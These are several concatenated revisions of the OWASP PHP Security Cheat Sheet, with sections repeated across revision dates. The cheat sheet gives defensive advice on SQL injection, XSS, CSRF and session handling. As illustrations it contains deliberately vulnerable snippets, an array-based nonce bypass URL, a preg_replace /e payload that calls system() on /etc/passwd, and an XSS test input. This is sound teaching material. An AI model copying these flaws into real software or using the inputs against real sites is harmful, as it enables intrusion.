$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2015-02-10T12:09:29Z

Luke Plant: /* URL routing */

= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

PHP is a 'grown' language rather than deliberately engineered, making writing insecure PHP applications far too easy and common. If you want to use PHP securely, then you should be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

If these native database APIs are used, error checking should be added at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate.
This is why accessing a database should always be done by using [http://php.net/manual/en/intro.pdo.php PHP Data Objects (PDO)] specified with the [http://php.net/manual/en/pdo.error-handling.php ERRMODE_WARNING or ERRMODE_EXCEPTION flags] unless there is a clearly compelling reason to use native drivers and careful error checking.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems. Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experienced PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

* The URL routing mechanism is the same as the module system. This means it is often possible for attackers to use files as entry points which were not designed as such. This can open up vulnerabilities where authentication mechanisms are bypassed entirely - a simple refactoring that pulls code out into a separate file can open a vulnerability. This is made particularly easy in PHP because it has globally accessible request data ($_GET etc), so file-level code can be imperative code that operates on the request, rather than simply function definitions.

* The lack of a proper URL routing mechanism often leads to developers creating their own ad-hoc methods. These are often insecure and fail to apply appropriate athorization restrictions on different request handling functionality.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are <code>$_SERVER</code>, <code>$_GET</code>, <code>$_POST</code>, <code>$_REQUEST</code>, <code>$_FILES</code> and <code>$_COOKIE</code>. Not all data in <code>$_SERVER</code> can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with <code>HTTP_</code>).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. All of this data is combined into one array, making it almost impossible to determine the source of the data. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc. Using prepared statements and bound parameters is a much better solution. PHP's [mysqli](http://php.net/mysqli) and [PDO](http://php.net/pdo) functionality includes this feature (see below).

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. Additionally, they cannot be used for things like table names or columns in `SELECT` statements. In these cases, you should use query builder that is provided by a framework, if available. If not, several packages are available for use via [http://getcomposer.org Composer] and [http://packagist.org Packagist] Do not roll your own.

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

Always be sure to evaluate the code of *any* ORM you use to validate how it handles the execution of the SQL it generates. Ensure it does not concatenate the values and instead uses prepared statements internally as well as following good security practices.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2015-02-03T09:19:25Z

Luke Plant: /* PHP overview */

= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

PHP is a 'grown' language rather than deliberately engineered, making writing insecure PHP applications far too easy and common. If you want to use PHP securely, then you should be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

If these native database APIs are used, error checking should be added at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate.
This is why accessing a database should always be done by using [http://php.net/manual/en/intro.pdo.php PHP Data Objects (PDO)] specified with the [http://php.net/manual/en/pdo.error-handling.php ERRMODE_WARNING or ERRMODE_EXCEPTION flags] unless there is a clearly compelling reason to use native drivers and careful error checking.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems. Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experienced PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

